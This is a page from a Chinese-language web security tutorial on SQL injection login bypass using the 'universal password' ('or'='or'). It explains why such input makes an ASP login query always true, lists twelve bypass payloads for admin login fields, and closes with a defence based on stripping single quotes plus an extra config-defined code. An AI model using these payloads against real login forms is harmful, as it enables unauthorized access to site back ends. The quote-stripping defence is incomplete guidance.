3万能密码
这个就是传说中的'or'='or'了,虽然危害很大,可直接饶过后台验证,进入后台,但是确实是到处可见。
原理:
如都输入'or'='or'则如下语句为真,
sql="select * from admin where adminname='"&request.form("adminname)&"' and adminpass='"&request.form("adminpass")&"'"变成了
sql="select * from admin where adminname=”or'='or” and adminpass=”or'='or”
从而返回真,跳过认证。
利用:
后台帐号和密码都或使用一下一种:
1:"or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:最短的万能登陆密码 'or'1
12:'or 1 or'或'or''=''or'
还有其他很多!
防范:
有方法是过滤掉单引号,好象其他数据库里面还要过滤到单引号的其他编码。如:
dim name,Pass
name=replace(trim(request.Form("name")),"'","")
Pass=md5(replace(trim(request.form("Pass")),"'",""))
我的登陆验证还采用了,
ivcode=trim(request.form("ivcode")),ivcode是写在配置asp文件中的变量,这样安全更好了,即使知道密码,存在这个漏洞,不知道定义的ivcode值,一样无法登陆后台!
上一页 [1] [2] [3] [4] [5] 下一页